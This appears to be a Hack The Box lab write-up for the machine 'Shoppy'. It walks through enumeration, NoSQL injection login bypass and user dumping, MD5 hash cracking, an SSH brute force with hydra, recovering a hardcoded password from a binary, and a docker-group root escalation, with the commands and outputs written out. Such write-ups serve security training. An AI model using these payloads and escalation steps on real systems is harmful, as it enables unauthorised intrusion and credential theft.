Shoppy HTB writeup
Posted on Thu 02 February 2023 in hackthebox
This is a writeup of the machine Shoppy from Hack The Box.
As with all the machines on Hack The Box we start by performing an nmap scan against the machine: nmap -sC -sV -oA nmap/shoppy 10.10.11.180
Only two ports are open on the machine. Since SSH is usually not the way in we take a more indepth look at the webservice.
Webservice
First we curl the website to see whether we can find a hostname curl 10.10.11.180:80 -v
.
There we find the following header: Location: http://shoppy.htb
to which the request is redirected via an HTTP 301.
That's why we update /etc/hosts/
to redirect to the machine with the following entry: 10.10.11.180 shoppy.htb
On the website we don't see any links and from the source we can't identify any frameworks.
Website enumeration
For that reason we use gobuster to find any other pages that are not directly linked.
gobuster dir \
-u http://shoppy.htb \
-t 50 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
In that case we are using a wordlist from dirbuster with 50 simultaneous threads. The scan returned the following results:
/images (Status: 301) [Size: 179] [--> /images/]
/login (Status: 200) [Size: 1074]
/admin (Status: 302) [Size: 28] [--> /login]
/assets (Status: 301) [Size: 179] [--> /assets/]
/css (Status: 301) [Size: 173] [--> /css/]
/Login (Status: 200) [Size: 1074]
/js (Status: 301) [Size: 171] [--> /js/]
/fonts (Status: 301) [Size: 177] [--> /fonts/]
/Admin (Status: 302) [Size: 28] [--> /login]
/exports (Status: 301) [Size: 181] [--> /exports/]
/LogIn (Status: 200) [Size: 1074]
/LOGIN (Status: 200) [Size: 1074]
Login
The only valid endpoint seems to be /login
.
That's why have a look at it.
On http://shoppy.htb/login we see a login page for which we don't have any credentials yet. For that reason we can look at the next finding from our gobuster scan.
Exports
http://shoppy.htb/exports/ only displays the message Cannot GET /exports/
.
When searching for that message with Google we find the following Stack Overflow question.
From that we can conduct that the app will most likely use NodeJS for the backend.
With that knowledge we can assume that the DB in the backend might be MongoDB since it is a popular DBMS to use with NodeJS backends.
NoSQL Injection
If we assume that MongoDB is in use we can try to perform a NoSQL injection on the login page. To do that we intercept the login request via Burp.
POST /login HTTP/1.1
Host: shoppy.htb
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Connection: close
username=asdf&password=qwer
Via repeater we can then try to do the injection with the following username and password combiniation: username=admin'||'1'=='1&password=qwer
This actually works and brings us to the shoppy products list.
On that page we can see a link to a Search for users.
We see a search field in which we can enter names and search for users in a database.
This is implemented with the following request: http://shoppy.htb/admin/search-users?username=$SEARCHTERM
We can try a NoSQL injection again http://shoppy.htb/admin/search-users?username='||'1'=='1
which gives us a json object with two users:
[
{
"_id": "62db0e93d6d6a999a66ee67a",
"username": "admin",
"password": "23c6877d9e2b564ef8b32c3a23de27b2"
},
{
"_id": "62db0e93d6d6a999a66ee67b",
"username": "josh",
"password": "6ebcea65320589ca4f2f1ce039975995"
}
]
Password hashes
Trying to login with the user password combination on /login
doesn't work.
This would mean that the passwords in the json must be hashes.
We can identify the hashes with echo "23c6877d9e2b564ef8b32c3a23de27b2" | hashid
This results in the following output:
Analyzing '23c6877d9e2b564ef8b32c3a23de27b2'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
The hashes are probably in MD5 format. For this reason we try to crack the hashes with hashcat.
$ cat hashes.txt
> 23c6877d9e2b564ef8b32c3a23de27b2
> 6ebcea65320589ca4f2f1ce039975995
$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
> 6ebcea65320589ca4f2f1ce039975995:remembermethisway
Using the credentials josh:remembermethisway
which doesn't work.
Other services? Fuzzing subdomains
Since we didn't find any other services with gobuster we try to fuzz for subdomains with wfuzz.
wfuzz -c \
-w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-u 10.10.11.180 \
-H 'Host: FUZZ.shoppy.htb' \
--hc 301
With that we find http://mattermost.shoppy.htb which we also add to /etc/hosts.
Mattermost
In Mattermost we find a chat called Deploy machine in which jaeger posted credentials: username: jaeger password: Sh0ppyBest@pp!
Jaeger also wrote that docker is used for the deployment of the application.
Trying out these new credentials on /login
and Mattermost didn't work as well.
SSH
For that reason we try the last option we can think of for now and try all credentials on the open SSH port with hydra:
hydra -L users.txt -P passwords.txt 10.10.11.180 -t 4 ssh
[22][ssh] host: 10.10.11.180 login: jaeger password: Sh0ppyBest@pp!
1 of 1 target successfully completed, 1 valid password found
Hydra found one valid password for the jaeger user which we extracted from the message in the Mattermost chat message. We then try to connect via that user. That first failed with my Kali VM since there is an SSH bug in Ubuntu. With the help of Server Fault I was able to connect anyways.
User flag
The user flag for this machine is in jaeger's home directory and can be accessed via cat user.txt
.
Enumerating ways to priv esc
One of the first things to do when gaining access to a user account is to find out which commands the user can run as sudo.
We can do this by running sudo -l
.
This results in the following output for jaeger.
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
Password manager
Jaeger is allowed to run a password-manager as root so we do that sudo -u deploy /home/deploy/password-manager
.
It asks for a password which we don't know.
For that reason we copy it to our machine with scp jaeger@10.10.11.180:/home/deploy/password-manager .
.
Once on our machine we can open it with ghidra and inspect the main function.
There we can easily see the string Sample
.
We can then try to use that as input for the password-manager.
This actually is the correct password and we see the following output:
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
We receive the credentials for yet another user.
Login in as that user we inspect in which groups this user is with id
.
id=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
The user is part of the docker group. This means that we are able to run docker containers.
We can use the Mounted Docker Socket Escape from HackTricks to become root on the machine.
To do this we run the following command: docker run -it -v /:/host/ alpine chroot /host/ bash
Then inside the container we are root on the hosts filesystem and can access the root flag with cat /root.txt